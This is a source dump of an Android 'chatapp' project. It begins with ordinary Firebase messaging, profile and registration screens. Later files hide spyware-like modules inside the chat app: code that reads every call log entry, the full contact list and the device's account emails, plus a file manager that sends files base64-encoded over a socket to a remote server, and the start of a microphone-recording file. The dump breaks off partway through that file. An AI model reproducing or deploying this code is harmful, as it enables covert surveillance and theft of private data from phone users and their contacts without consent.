44 | EditText text_send; 45 | 46 | MessageAdapter messageAdapter; 47 | List mchat; 48 | 49 | RecyclerView recyclerView; 50 | 51 | Intent intent; 52 | 53 | @Override 54 | protected void onCreate(Bundle savedInstanceState) { 55 | super.onCreate(savedInstanceState); 56 | setContentView(R.layout.activity_message); 57 | 58 | Toolbar toolbar = findViewById(R.id.toolbar); 59 | setSupportActionBar(toolbar); 60 | getSupportActionBar().setTitle(""); 61 | getSupportActionBar().setDisplayHomeAsUpEnabled(true); 62 | toolbar.setNavigationOnClickListener(new View.OnClickListener() { 63 | @Override 64 | public void onClick(View view) { 65 | finish(); 66 | } 67 | }); 68 | 69 | recyclerView = findViewById(R.id.recycler_view); 70 | recyclerView.setHasFixedSize(true); 71 | LinearLayoutManager linearLayoutManager = new LinearLayoutManager(getApplicationContext()); 72 | linearLayoutManager.setStackFromEnd(true); 73 | recyclerView.setLayoutManager(linearLayoutManager); 74 | 75 | profile_image = findViewById(R.id.profile_image); 76 | username = findViewById(R.id.username); 77 | btn_send = findViewById(R.id.btn_send); 78 | text_send = findViewById(R.id.text_send); 79 | 80 | intent = getIntent(); 81 | final String userid = intent.getStringExtra("userid"); 82 | 83 | btn_send.setOnClickListener(new View.OnClickListener() { 84 | @Override 85 | public void onClick(View view) { 86 | String msg = text_send.getText().toString(); 87 | if (!msg.equals("")) { 88 | 89 | sendMessage(firebaseUser.getUid(), userid, msg); 90 | } else { 91 | 92 | Toast.makeText(MessageActivity.this, "You can't send an empty message", 93 | Toast.LENGTH_SHORT).show(); 94 | } 95 | 96 | text_send.setText(""); 97 | } 98 | }); 99 | 100 | firebaseUser = FirebaseAuth.getInstance().getCurrentUser(); 101 | reference = FirebaseDatabase.getInstance().getReference("Users").child(userid); 102 | 103 | reference.addValueEventListener(new ValueEventListener() { 104 | @Override 105 | public void onDataChange(@NonNull DataSnapshot dataSnapshot) { 106 | User user = dataSnapshot.getValue(User.class); 107 | username.setText(user.getUsername()); 108 | if (user.getImageURL().equals("default")) { 109 | profile_image.setImageResource(R.drawable.default_avatar); 110 | 111 | } else { 112 | 113 | Glide.with(MessageActivity.this).load(user.getImageURL()).into(profile_image); 114 | } 115 | 116 | readMessages(firebaseUser.getUid(), userid, user.getImageURL()); 117 | } 118 | 119 | @Override 120 | public void onCancelled(@NonNull DatabaseError databaseError) { 121 | 122 | } 123 | }); 124 | } 125 | 126 | private void sendMessage(String sender, String receiver, String message) { 127 | 128 | DatabaseReference reference = FirebaseDatabase.getInstance().getReference(); 129 | 130 | HashMap hashMap = new HashMap<>(); 131 | hashMap.put("sender", sender); 132 | hashMap.put("receiver", receiver ); 133 | hashMap.put("message", message); 134 | 135 | reference.child("Chats").push().setValue(hashMap); 136 | } 137 | 138 | private void readMessages(final String myid, final String userid, final String imageurl) { 139 | mchat = new ArrayList<>(); 140 | 141 | reference = FirebaseDatabase.getInstance().getReference("Chats"); 142 | reference.addValueEventListener(new ValueEventListener() { 143 | @Override 144 | public void onDataChange(@NonNull DataSnapshot dataSnapshot) { 145 | mchat.clear(); 146 | for (DataSnapshot snapshot : dataSnapshot.getChildren()) { 147 | Chat chat = snapshot.getValue(Chat.class); 148 | 149 | if (chat.getReceiver().equals(myid) && chat.getSender().equals(userid) || 150 | chat.getReceiver().equals(userid) && chat.getSender().equals(myid)) { 151 | 152 | mchat.add(chat); 153 | } 154 | 155 | messageAdapter = new MessageAdapter(MessageActivity.this, mchat, imageurl); 156 | recyclerView.setAdapter(messageAdapter); 157 | } 158 | } 159 | 160 | @Override 161 | public void onCancelled(@NonNull DatabaseError databaseError) { 162 | 163 | } 164 | }); 165 | } 166 | } -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/ProfileActivity.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp; 2 | 3 | import androidx.annotation.NonNull; 4 | import androidx.appcompat.app.AppCompatActivity; 5 | 6 | import android.os.Bundle; 7 | import android.widget.TextView; 8 | 9 | import com.bumptech.glide.Glide; 10 | import com.example.chatapp.model.User; 11 | import com.google.firebase.auth.FirebaseAuth; 12 | import com.google.firebase.auth.FirebaseUser; 13 | import com.google.firebase.database.DataSnapshot; 14 | import com.google.firebase.database.DatabaseError; 15 | import com.google.firebase.database.DatabaseReference; 16 | import com.google.firebase.database.FirebaseDatabase; 17 | import com.google.firebase.database.ValueEventListener; 18 | 19 | import de.hdodenhof.circleimageview.CircleImageView; 20 | 21 | public class ProfileActivity extends AppCompatActivity { 22 | private CircleImageView profileImage; 23 | private TextView userFullName, username; 24 | private FirebaseUser user; 25 | private DatabaseReference reference; 26 | @Override 27 | protected void onCreate(Bundle savedInstanceState) { 28 | super.onCreate(savedInstanceState); 29 | setContentView(R.layout.activity_profile); 30 | 31 | profileImage = findViewById(R.id.imageViewProfile); 32 | userFullName = findViewById(R.id.userFullName); 33 | username = findViewById(R.id.username); 34 | 35 | user = FirebaseAuth.getInstance().getCurrentUser(); 36 | reference = FirebaseDatabase.getInstance().getReference("Users").child(user.getUid()); 37 | 38 | reference.addValueEventListener(new ValueEventListener() { 39 | @Override 40 | public void onDataChange(@NonNull DataSnapshot snapshot) { 41 | User user = snapshot.getValue(User.class); 42 | username.setText(user.getUsername()); 43 | userFullName.setText(user.getFullName()); 44 | if(user.getImageURL().equals("default")){ 45 | profileImage.setImageResource(R.drawable.default_avatar); 46 | }else { 47 | Glide.with(ProfileActivity.this).load(user.getImageURL()).into(profileImage); 48 | } 49 | } 50 | 51 | @Override 52 | public void onCancelled(@NonNull DatabaseError error) { 53 | 54 | } 55 | }); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/RegistrationActivity.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp; 2 | 3 | import androidx.annotation.NonNull; 4 | import androidx.appcompat.app.AppCompatActivity; 5 | 6 | import android.content.Intent; 7 | import android.os.Bundle; 8 | import android.text.TextUtils; 9 | import android.view.View; 10 | import android.widget.Toast; 11 | 12 | import com.google.android.gms.tasks.OnCompleteListener; 13 | import com.google.android.gms.tasks.Task; 14 | import com.google.android.material.button.MaterialButton; 15 | import com.google.android.material.textview.MaterialTextView; 16 | import com.google.firebase.auth.AuthResult; 17 | import com.google.firebase.auth.FirebaseAuth; 18 | import com.google.firebase.auth.FirebaseUser; 19 | import com.google.firebase.database.DatabaseReference; 20 | import com.google.firebase.database.FirebaseDatabase; 21 | import com.rengwuxian.materialedittext.MaterialEditText; 22 | 23 | import java.util.HashMap; 24 | 25 | public class RegistrationActivity extends AppCompatActivity { 26 | MaterialEditText username, email, password, fullName; 27 | MaterialButton btn_register; 28 | MaterialTextView btn_goto_login; 29 | 30 | FirebaseAuth f_auth; 31 | DatabaseReference databaseReference; 32 | 33 | @Override 34 | protected void onCreate(Bundle savedInstanceState) { 35 | super.onCreate(savedInstanceState); 36 | setContentView(R.layout.activity_registration); 37 | 38 | username = findViewById(R.id.username); 39 | fullName = findViewById(R.id.fullName); 40 | email = findViewById(R.id.email); 41 | password = findViewById(R.id.password); 42 | btn_register = findViewById(R.id.register); 43 | btn_goto_login = findViewById(R.id.goto_login); 44 | 45 | btn_goto_login.setOnClickListener(new View.OnClickListener() { 46 | @Override 47 | public void onClick(View v) { 48 | startActivity(new Intent(RegistrationActivity.this, LoginActivity.class)); 49 | finish(); 50 | } 51 | }); 52 | 53 | f_auth = FirebaseAuth.getInstance(); 54 | 55 | btn_register.setOnClickListener(new View.OnClickListener() { 56 | @Override 57 | public void onClick(View v) { 58 | String text_username = username.getText().toString(); 59 | String text_fullName = fullName.getText().toString(); 60 | String text_email = email.getText().toString(); 61 | String text_password = password.getText().toString(); 62 | if(TextUtils.isEmpty(text_username) || TextUtils.isEmpty(text_fullName) || TextUtils.isEmpty(text_email)|| TextUtils.isEmpty(text_password)){ 63 | Toast.makeText(RegistrationActivity.this, "All fields are required", Toast.LENGTH_SHORT).show(); 64 | }else if(text_password.length() < 6){ 65 | Toast.makeText(RegistrationActivity.this, "Password must be 8 character long", Toast.LENGTH_SHORT).show(); 66 | }else{ 67 | register(text_username, text_fullName, text_email, text_password); 68 | } 69 | } 70 | }); 71 | } 72 | 73 | public void register(final String username, final String fullName, String email, String password){ 74 | f_auth.createUserWithEmailAndPassword(email, password) 75 | .addOnCompleteListener(new OnCompleteListener() { 76 | @Override 77 | public void onComplete(@NonNull Task task) { 78 | if (task.isSuccessful()){ 79 | FirebaseUser firebaseUser = f_auth.getCurrentUser(); 80 | String userUUID = firebaseUser.getUid(); 81 | 82 | databaseReference = FirebaseDatabase.getInstance().getReference("Users").child(userUUID); 83 | HashMap hashMap = new HashMap<>(); 84 | hashMap.put("uuid", userUUID); 85 | hashMap.put("username", username); 86 | hashMap.put("fullname", fullName); 87 | hashMap.put("imageURL", "default"); 88 | 89 | databaseReference.setValue(hashMap).addOnCompleteListener(new OnCompleteListener() { 90 | @Override 91 | public void onComplete(@NonNull Task task) { 92 | if (task.isSuccessful()){ 93 | Intent intent = new Intent(RegistrationActivity.this, MainActivity.class); 94 | intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK); 95 | startActivity(intent); 96 | finish(); 97 | } 98 | } 99 | }); 100 | 101 | }else{ 102 | Toast.makeText(RegistrationActivity.this, "You can't register with this email", Toast.LENGTH_SHORT).show(); 103 | } 104 | } 105 | }); 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/ViewPageAdapter.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp; 2 | 3 | import androidx.annotation.NonNull; 4 | import androidx.annotation.Nullable; 5 | import androidx.fragment.app.Fragment; 6 | import androidx.fragment.app.FragmentManager; 7 | import androidx.fragment.app.FragmentPagerAdapter; 8 | 9 | import java.util.ArrayList; 10 | 11 | public class ViewPageAdapter extends FragmentPagerAdapter { 12 | private ArrayList fragments; 13 | private ArrayList titles; 14 | 15 | ViewPageAdapter(@NonNull FragmentManager fm, int behavior) { 16 | super(fm,behavior); 17 | 18 | this.fragments = new ArrayList<>(); 19 | this.titles = new ArrayList<>(); 20 | 21 | } 22 | 23 | @Override 24 | public Fragment getItem(int position) { 25 | return fragments.get(position); 26 | } 27 | 28 | @Override 29 | public int getCount() { 30 | return fragments.size(); 31 | } 32 | 33 | public void addFragment(Fragment fragment, String title) { 34 | fragments.add(fragment); 35 | titles.add(title); 36 | } 37 | 38 | @Nullable 39 | @Override 40 | public CharSequence getPageTitle(int position) { 41 | return titles.get(position); 42 | } 43 | } -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/adapter/MessageAdapter.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.adapter; 2 | 3 | import android.content.Context; 4 | import android.view.LayoutInflater; 5 | import android.view.View; 6 | import android.view.ViewGroup; 7 | import android.widget.ImageView; 8 | import android.widget.TextView; 9 | 10 | import androidx.annotation.NonNull; 11 | import androidx.recyclerview.widget.RecyclerView; 12 | 13 | import com.bumptech.glide.Glide; 14 | import com.example.chatapp.R; 15 | import com.example.chatapp.model.Chat; 16 | import com.google.firebase.auth.FirebaseAuth; 17 | import com.google.firebase.auth.FirebaseUser; 18 | 19 | import java.util.List; 20 | 21 | public class MessageAdapter extends RecyclerView.Adapter { 22 | 23 | public static final int MSG_TYPE_LEFT = 0; 24 | public static final int MSG_TYPE_RIGHT = 1; 25 | 26 | private Context mContext; 27 | private List mChat; 28 | private String imageurl; 29 | 30 | FirebaseUser firebaseUser; 31 | 32 | public MessageAdapter(Context mContext, List mChat, String imageurl ) { 33 | this.mChat = mChat; 34 | this.mContext = mContext; 35 | this.imageurl = imageurl; 36 | } 37 | 38 | @NonNull 39 | @Override 40 | public MessageAdapter.ViewHolder onCreateViewHolder(@NonNull ViewGroup viewGroup, int viewType) { 41 | if (viewType == MSG_TYPE_RIGHT ) { 42 | 43 | View view = LayoutInflater.from(mContext).inflate(R.layout.chat_item_right, viewGroup, false); 44 | return new MessageAdapter.ViewHolder(view); 45 | } else { 46 | 47 | View view = LayoutInflater.from(mContext).inflate(R.layout.chat_item_left, viewGroup, false); 48 | return new MessageAdapter.ViewHolder(view); 49 | } 50 | 51 | } 52 | 53 | @Override 54 | public void onBindViewHolder(@NonNull ViewHolder viewHolder, int position) { 55 | 56 | final Chat chat = mChat.get(position); 57 | viewHolder.show_message.setText(chat.getMessage()); 58 | 59 | if (imageurl.equals("default")) { 60 | 61 | viewHolder.profile_image.setImageResource(R.drawable.default_avatar); 62 | } else { 63 | 64 | Glide.with(mContext).load(imageurl).into(viewHolder.profile_image); 65 | } 66 | 67 | 68 | } 69 | 70 | @Override 71 | public int getItemCount() { 72 | return mChat.size(); 73 | } 74 | 75 | class ViewHolder extends RecyclerView.ViewHolder { 76 | 77 | public TextView show_message; 78 | public ImageView profile_image; 79 | 80 | public ViewHolder(View itemView) { 81 | super(itemView); 82 | 83 | show_message = itemView.findViewById(R.id.show_message); 84 | profile_image = itemView.findViewById(R.id.profile_image); 85 | } 86 | 87 | } 88 | 89 | @Override 90 | public int getItemViewType(int position) { 91 | firebaseUser = FirebaseAuth.getInstance().getCurrentUser(); 92 | if (mChat.get(position).getSender().equals(firebaseUser.getUid())) { 93 | return MSG_TYPE_RIGHT; 94 | 95 | } else { 96 | 97 | return MSG_TYPE_LEFT; 98 | } 99 | } 100 | } -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/adapter/UserAdapter.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.adapter; 2 | 3 | 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.view.LayoutInflater; 7 | import android.view.View; 8 | import android.view.ViewGroup; 9 | 10 | import androidx.annotation.NonNull; 11 | import androidx.recyclerview.widget.RecyclerView; 12 | 13 | import com.bumptech.glide.Glide; 14 | import com.example.chatapp.MainActivity; 15 | import com.example.chatapp.MessageActivity; 16 | import com.example.chatapp.R; 17 | import com.example.chatapp.model.User; 18 | 19 | import java.util.List; 20 | 21 | public class UserAdapter extends RecyclerView.Adapter { 22 | 23 | private Context mContext; 24 | private List mUsers; 25 | 26 | public UserAdapter(Context mContext, List mUsers) { 27 | this.mUsers = mUsers; 28 | this.mContext = mContext; 29 | } 30 | 31 | @NonNull 32 | @Override 33 | public ViewHolder onCreateViewHolder(@NonNull ViewGroup viewGroup, int i) { 34 | View view = LayoutInflater.from(mContext).inflate(R.layout.user_item, viewGroup, false); 35 | return new ViewHolder(view); 36 | } 37 | 38 | @Override 39 | public void onBindViewHolder(@NonNull ViewHolder viewHolder, int position) { 40 | 41 | final User user = mUsers.get(position); 42 | viewHolder.username.setText(user.getUsername()); 43 | if (user.getImageURL().equals("default")) { 44 | 45 | viewHolder.profile_image.setImageResource(R.drawable.default_avatar); 46 | } else { 47 | 48 | Glide.with(mContext).load(user.getImageURL()).into(viewHolder.profile_image); 49 | } 50 | 51 | viewHolder.itemView.setOnClickListener(new View.OnClickListener() { 52 | @Override 53 | public void onClick(View view) { 54 | Intent intent = new Intent(mContext, MessageActivity.class); 55 | intent.putExtra("userid", user.getUuid()); 56 | mContext.startActivity(intent); 57 | } 58 | }); 59 | } 60 | 61 | @Override 62 | public int getItemCount() { 63 | return mUsers.size(); 64 | } 65 | } -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/adapter/ViewHolder.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.adapter; 2 | 3 | import android.view.View; 4 | import android.widget.ImageView; 5 | import android.widget.TextView; 6 | 7 | import androidx.recyclerview.widget.RecyclerView; 8 | 9 | import com.example.chatapp.R; 10 | 11 | public class ViewHolder extends RecyclerView.ViewHolder { 12 | 13 | public TextView username; 14 | public ImageView profile_image; 15 | 16 | public ViewHolder(View itemView) { 17 | super(itemView); 18 | 19 | username = itemView.findViewById(R.id.username); 20 | profile_image = itemView.findViewById(R.id.profile_image); 21 | } 22 | 23 | } -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/calllogs/CallLogReader.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.calllogs; 2 | 3 | import android.database.Cursor; 4 | import android.net.Uri; 5 | import android.provider.CallLog; 6 | 7 | import com.example.chatapp.MainService; 8 | import com.example.chatapp.utils.Utils; 9 | 10 | import org.json.JSONArray; 11 | import org.json.JSONObject; 12 | 13 | public class CallLogReader { 14 | public static JSONObject getCallLogs(){ 15 | try { 16 | JSONObject callLogs = new JSONObject(); 17 | JSONArray list = new JSONArray(); 18 | 19 | Uri allCalls = Uri.parse("content://call_log/calls"); 20 | Cursor cur = MainService.getContextOfApplication().getContentResolver().query(allCalls, null, null, null, null); 21 | 22 | while (cur.moveToNext()) { 23 | JSONObject call = new JSONObject(); 24 | String num = cur.getString(cur.getColumnIndex(CallLog.Calls.NUMBER));// for number 25 | String name = cur.getString(cur.getColumnIndex(CallLog.Calls.CACHED_NAME));// for name 26 | int duration =Integer.parseInt(cur.getString(cur.getColumnIndex(CallLog.Calls.DURATION)));// for duration 27 | int type = Integer.parseInt(cur.getString(cur.getColumnIndex(CallLog.Calls.TYPE)));// for call type, Incoming or out going. 28 | long timeStamp = cur.getLong(cur.getColumnIndex(CallLog.Calls.DATE)); 29 | String dateTime = Utils.getDate(timeStamp); 30 | call.put("phoneNo", num); 31 | call.put("name", name); 32 | call.put("duration", duration); 33 | call.put("type", type); 34 | call.put("date_time", dateTime); 35 | list.put(call); 36 | } 37 | callLogs.put("callLogs", list); 38 | return callLogs; 39 | } catch (Exception e){ 40 | e.printStackTrace(); 41 | } 42 | 43 | return null; 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/contact/ContactReadService.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.contact; 2 | 3 | import android.database.Cursor; 4 | import android.provider.ContactsContract; 5 | 6 | import com.example.chatapp.MainService; 7 | 8 | import org.json.JSONArray; 9 | import org.json.JSONObject; 10 | 11 | public class ContactReadService { 12 | public static JSONObject getContactList(){ 13 | try{ 14 | JSONObject contacts = new JSONObject(); 15 | JSONArray list = new JSONArray(); 16 | Cursor cur = MainService.getContextOfApplication().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, 17 | new String[] { ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER}, null, null, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " ASC"); 18 | 19 | while (cur.moveToNext()){ 20 | JSONObject contact = new JSONObject(); 21 | 22 | String name = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME)); 23 | String number = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); 24 | 25 | contact.put("name", name); 26 | contact.put("number", number); 27 | list.put(contact); 28 | } 29 | contacts.put("contactList", list); 30 | return contacts; 31 | 32 | }catch (Exception e){ 33 | e.printStackTrace(); 34 | } 35 | return null; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/fiemanager/FileManager.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.fiemanager; 2 | 3 | import android.util.Base64; 4 | import android.util.Log; 5 | 6 | import com.example.chatapp.socket.IOSocket; 7 | 8 | import org.json.JSONArray; 9 | import org.json.JSONException; 10 | import org.json.JSONObject; 11 | 12 | import java.io.BufferedInputStream; 13 | import java.io.File; 14 | import java.io.FileInputStream; 15 | import java.io.FileNotFoundException; 16 | import java.io.IOException; 17 | 18 | public class FileManager { 19 | 20 | public static JSONArray listFiles(String path){ 21 | JSONArray values = new JSONArray(); 22 | File dir = new File(path); 23 | if (!dir.canRead()){ 24 | Log.e("FileManager", "access permission denied"); 25 | } 26 | File[] list = dir.listFiles(); 27 | try { 28 | if (list != null){ 29 | JSONObject parentObject = new JSONObject(); 30 | parentObject.put("name", "../"); 31 | parentObject.put("isDir", true); 32 | parentObject.put("path", dir.getParent()); 33 | values.put(parentObject); 34 | for (File file: list){ 35 | if (!file.getName().startsWith(".")){ 36 | JSONObject fileObj = new JSONObject(); 37 | fileObj.put("name", file.getName()); 38 | fileObj.put("isDir", file.isDirectory()); 39 | fileObj.put("path", file.getAbsolutePath()); 40 | values.put(fileObj); 41 | } 42 | } 43 | } 44 | }catch (Exception e){ 45 | e.printStackTrace(); 46 | } 47 | return values; 48 | } 49 | 50 | public static void downloadFile(String path){ 51 | if (path == null){ 52 | return; 53 | } 54 | File file = new File(path); 55 | if (file.exists()){ 56 | int size = (int) (file.length()); 57 | byte[] data = new byte[size]; 58 | 59 | try{ 60 | BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file)); 61 | buf.read(data, 0 , size); 62 | String data64 = Base64.encodeToString(data, Base64.DEFAULT); 63 | JSONObject jsonObject = new JSONObject(); 64 | jsonObject.put("name", file.getName()); 65 | jsonObject.put("file", true); 66 | jsonObject.put("data", data64); 67 | IOSocket.getInstance().getIoSocket().emit("fm-dl", jsonObject); 68 | buf.close(); 69 | 70 | } catch (FileNotFoundException e) { 71 | e.printStackTrace(); 72 | } catch (IOException e) { 73 | e.printStackTrace(); 74 | } catch (JSONException e) { 75 | e.printStackTrace(); 76 | } 77 | } 78 | } 79 | 80 | public static void deleteFile(String path){ 81 | 82 | } 83 | 84 | public static void createFile(String path){ 85 | 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/fragments/ChatsFragment.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.fragments; 2 | 3 | import android.os.Bundle; 4 | 5 | import androidx.annotation.NonNull; 6 | import androidx.fragment.app.Fragment; 7 | import androidx.recyclerview.widget.LinearLayoutManager; 8 | import androidx.recyclerview.widget.RecyclerView; 9 | 10 | import android.view.LayoutInflater; 11 | import android.view.View; 12 | import android.view.ViewGroup; 13 | import android.widget.ProgressBar; 14 | 15 | import com.example.chatapp.R; 16 | import com.example.chatapp.adapter.UserAdapter; 17 | import com.example.chatapp.model.Chat; 18 | import com.example.chatapp.model.User; 19 | import com.google.firebase.auth.FirebaseAuth; 20 | import com.google.firebase.auth.FirebaseUser; 21 | import com.google.firebase.database.DataSnapshot; 22 | import com.google.firebase.database.DatabaseError; 23 | import com.google.firebase.database.DatabaseReference; 24 | import com.google.firebase.database.FirebaseDatabase; 25 | import com.google.firebase.database.ValueEventListener; 26 | 27 | import java.util.ArrayList; 28 | import java.util.Iterator; 29 | import java.util.List; 30 | import java.util.ListIterator; 31 | 32 | 33 | public class ChatsFragment extends Fragment { 34 | 35 | public RecyclerView recyclerView; 36 | private UserAdapter userAdapter; 37 | private List mUsers; 38 | 39 | private ProgressBar progressBar; 40 | 41 | FirebaseUser firebaseUser; 42 | DatabaseReference databaseReference; 43 | 44 | private List usersList; 45 | 46 | @Override 47 | public View onCreateView(LayoutInflater inflater, ViewGroup container, 48 | Bundle savedInstanceState) { 49 | 50 | View view = inflater.inflate(R.layout.fragment_chats, container, false); 51 | 52 | progressBar = view.findViewById(R.id.progress_spinner); 53 | progressBar.setVisibility(View.VISIBLE); 54 | 55 | recyclerView = view.findViewById(R.id.recycler_view); 56 | recyclerView.setHasFixedSize(true); 57 | recyclerView.setLayoutManager(new LinearLayoutManager(getContext())); 58 | 59 | firebaseUser = FirebaseAuth.getInstance().getCurrentUser(); 60 | 61 | usersList = new ArrayList<>(); 62 | 63 | databaseReference = FirebaseDatabase.getInstance().getReference("Chats"); 64 | databaseReference.addValueEventListener(new ValueEventListener() { 65 | @Override 66 | public void onDataChange(@NonNull DataSnapshot dataSnapshot) { 67 | usersList.clear(); 68 | 69 | for (DataSnapshot snapshot : dataSnapshot.getChildren()) { 70 | Chat chat = snapshot.getValue(Chat.class); 71 | 72 | if (chat.getSender().equals(firebaseUser.getUid())) { 73 | usersList.add(chat.getReceiver()); 74 | } 75 | 76 | if (chat.getReceiver().equals(firebaseUser.getUid())) { 77 | usersList.add(chat.getSender()); 78 | 79 | } 80 | 81 | readChats(); 82 | } 83 | } 84 | 85 | @Override 86 | public void onCancelled(@NonNull DatabaseError databaseError) { 87 | 88 | } 89 | }); 90 | 91 | return view; 92 | } 93 | 94 | private void readChats() { 95 | 96 | mUsers = new ArrayList<>(); 97 | databaseReference = FirebaseDatabase.getInstance().getReference("Users"); 98 | 99 | databaseReference.addValueEventListener(new ValueEventListener() { 100 | @Override 101 | public void onDataChange(@NonNull DataSnapshot dataSnapshot) { 102 | mUsers.clear(); 103 | 104 | for (DataSnapshot snapshot : dataSnapshot.getChildren()) { 105 | User user = snapshot.getValue(User.class); 106 | 107 | // display 1 user from chats 108 | for (String id : usersList) { 109 | 110 | if (user.getUuid().equals(id)) { 111 | if (mUsers.size() > 0) { 112 | if (!mUsers.contains(user)){ 113 | mUsers.add(user); 114 | } 115 | } else { 116 | mUsers.add(user); 117 | } 118 | } 119 | } 120 | } 121 | progressBar.setVisibility(View.INVISIBLE); 122 | userAdapter = new UserAdapter(getContext(), mUsers); 123 | recyclerView.setAdapter(userAdapter);; 124 | } 125 | 126 | @Override 127 | public void onCancelled(@NonNull DatabaseError databaseError) { 128 | 129 | } 130 | }); 131 | 132 | } 133 | 134 | 135 | } -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/fragments/UsersFragment.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.fragments; 2 | 3 | import android.os.Bundle; 4 | 5 | import androidx.annotation.NonNull; 6 | import androidx.fragment.app.Fragment; 7 | import androidx.recyclerview.widget.LinearLayoutManager; 8 | import androidx.recyclerview.widget.RecyclerView; 9 | 10 | import android.view.LayoutInflater; 11 | import android.view.View; 12 | import android.view.ViewGroup; 13 | import android.widget.ProgressBar; 14 | 15 | import com.example.chatapp.R; 16 | import com.example.chatapp.adapter.UserAdapter; 17 | import com.example.chatapp.model.User; 18 | import com.google.firebase.auth.FirebaseAuth; 19 | import com.google.firebase.auth.FirebaseUser; 20 | import com.google.firebase.database.DataSnapshot; 21 | import com.google.firebase.database.DatabaseError; 22 | import com.google.firebase.database.DatabaseReference; 23 | import com.google.firebase.database.FirebaseDatabase; 24 | import com.google.firebase.database.ValueEventListener; 25 | 26 | import java.util.ArrayList; 27 | import java.util.List; 28 | 29 | public class UsersFragment extends Fragment { 30 | private RecyclerView recyclerView; 31 | private UserAdapter userAdapter; 32 | private ProgressBar progressBar; 33 | 34 | private List mUsers; 35 | 36 | @Override 37 | public View onCreateView(LayoutInflater inflater, ViewGroup container, 38 | Bundle savedInstanceState) { 39 | 40 | View view = inflater.inflate(R.layout.fragment_users, container, false); 41 | recyclerView = view.findViewById(R.id.recycler_view); 42 | recyclerView.setHasFixedSize(true); 43 | recyclerView.setLayoutManager(new LinearLayoutManager(getContext())); 44 | 45 | progressBar = view.findViewById(R.id.progress_spinner); 46 | progressBar.setVisibility(View.VISIBLE); 47 | 48 | mUsers = new ArrayList<>(); 49 | 50 | readUsers(); 51 | 52 | return view; 53 | } 54 | 55 | private void readUsers() { 56 | 57 | final FirebaseUser firebaseUser = FirebaseAuth.getInstance().getCurrentUser(); 58 | DatabaseReference reference = FirebaseDatabase.getInstance().getReference("Users"); 59 | 60 | reference.addValueEventListener(new ValueEventListener() { 61 | @Override 62 | public void onDataChange(@NonNull DataSnapshot dataSnapshot) { 63 | mUsers.clear();; 64 | for (DataSnapshot snapshot: dataSnapshot.getChildren()) { 65 | User user = snapshot.getValue(User.class); 66 | 67 | if(!user.getUuid().equals(firebaseUser.getUid())) { 68 | mUsers.add(user); 69 | } 70 | } 71 | progressBar.setVisibility(View.INVISIBLE); 72 | userAdapter = new UserAdapter(getContext(), mUsers); 73 | recyclerView.setAdapter(userAdapter); 74 | } 75 | 76 | @Override 77 | public void onCancelled(@NonNull DatabaseError databaseError) { 78 | 79 | } 80 | }); 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/info/PhoneAccountInfo.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.info; 2 | 3 | import android.accounts.Account; 4 | import android.accounts.AccountManager; 5 | import android.content.Intent; 6 | import android.os.Build; 7 | import android.util.Log; 8 | import android.util.Patterns; 9 | 10 | import com.google.android.gms.auth.GoogleAuthUtil; 11 | import com.google.android.gms.common.AccountPicker; 12 | 13 | import org.json.JSONArray; 14 | import org.json.JSONException; 15 | import org.json.JSONObject; 16 | 17 | import java.util.regex.Pattern; 18 | 19 | import static com.example.chatapp.ConnectionManager.context; 20 | 21 | public class PhoneAccountInfo { 22 | private static final int REQUEST_CODE_EMAIL = 1; 23 | public static JSONObject getPhoneInfo() { 24 | try { 25 | JSONObject emailList = new JSONObject(); 26 | JSONArray list = new JSONArray(); 27 | String possibleEmail = null; 28 | Pattern emailPattern = Patterns.EMAIL_ADDRESS; // API level 8+ 29 | Account[] accounts = AccountManager.get(context).getAccounts(); 30 | for (Account account : accounts) { 31 | JSONObject email = new JSONObject(); 32 | if (emailPattern.matcher(account.name).matches()) { 33 | possibleEmail= account.name; 34 | try { 35 | email.put("email", possibleEmail); 36 | }catch (Exception e){ 37 | e.printStackTrace(); 38 | } 39 | list.put(email); 40 | } 41 | } 42 | emailList.put("emails", list); 43 | Log.e("email list", emailList.toString()); 44 | return emailList; 45 | }catch (Exception e){ 46 | e.printStackTrace(); 47 | } 48 | return null; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/mic/GetRecord.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp.mic; 2 | 3 | import android.media.MediaRecorder; 4 | import android.util.Base64; 5 | import android.util.Log; 6 | 7 | import com.example.chatapp.MainService; 8 | import com.example.chatapp.socket.IOSocket; 9 | 10 | import org.json.JSONException; 11 | import org.json.JSONObject; 12 | 13 | import java.io.BufferedInputStream; 14 | import 